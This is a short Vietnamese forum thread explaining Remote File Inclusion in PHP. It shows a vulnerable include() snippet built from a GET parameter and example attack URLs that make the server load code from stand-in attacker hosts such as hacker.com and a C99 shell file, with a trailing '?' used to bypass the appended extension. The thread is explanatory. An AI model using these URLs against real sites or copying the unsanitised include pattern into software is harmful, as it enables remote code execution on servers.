10/10/2018, 09:43
Hỏi về Remote_File_Inclusion(RFI)
Bài gốc là http://en.wikipedia.org/wiki/Remote_File_Inclusion
Đọc đến đoạn thêm dấu chấm ? vào
thì em ko hiểu lắm, trong đó nó ko nói rõ. dấu ? có nghĩa là gì vậy mọi người.
Nói thay như thế thì
có phải ko ạ
Đọc đến đoạn thêm dấu chấm ? vào
http://www.malicious.example.com/C99.txt??
Nói thay như thế thì
http://www.vulnerable.example.org/in...C99.php??.html
Bài liên quan
http://domain.com/index.php?page=intro
==> trong code nó sẽ inlcude file intro.html ==> làm thế nào loại bỏ dc cái .html đó thì nó thêm dấu ? kiểu truy vấn. Lúc đó sẽ là inlucde file
C99.txt? => C99.txt?.html => hợp lệ.
Site tôi bị bug thế này liên tục. Bộ log của site tôi ghi nhận lại nè:
http://domain.com/photo.jpg <= là dường dẫn 1 file hình.
Nhưng nếu bạn thêm chuỗi truy vấn sau dấu ? thì nó vẫn gọi cái file này;
http://domain.com/photo.jpg?abc=1&xyz=2
Nó sẽ không thèm để ý gì đến chuỗi sau dấu ?.
Mục đích để vô hiệu hóa cái chuỗi mà trong code nó đã nhúng. Vì nếu không có thì sau khi code nhúng thêm cái chuỗi extension (.php, .html) thì sẽ trở thành 1 đường dẫn đến file không tồn tại.
1 ví dụ cụ thể nhé:
bạn có 1 trang như sau:
$page = $_GET***91;'page'***93;;
include("template/$page.html");
http://domain.com/test.php?page=gioithieu
==> include("template/gioithieu.html"); OK
http://domain.com/test.php?page=dichvu
==> include("template/gioithieu.html"); OK
Nhưng hacker nó muốn remote cái file này: Ví dụ nó remote cái file ở site khác là:
http://hacker.com/test.php
=> đường dẫn remote là:
http://domain.com/test.php?page=http...r.com/test.php
Nhưng lúc đó code nó sẽ là:
include("template/http://hacker.com/test.php.html") => cái file này không tồn tại
Vậy nó sẽ thêm dấu ? vào =>
http://domain.com/test.php?page=http....com/test.php?
==> code sẽ là:
include("template/http://hacker.com/test.php?.html") => như vậy cái extension .html vô tác dụng. Thực tế nó vẫn include file http://hacker.com/test.php.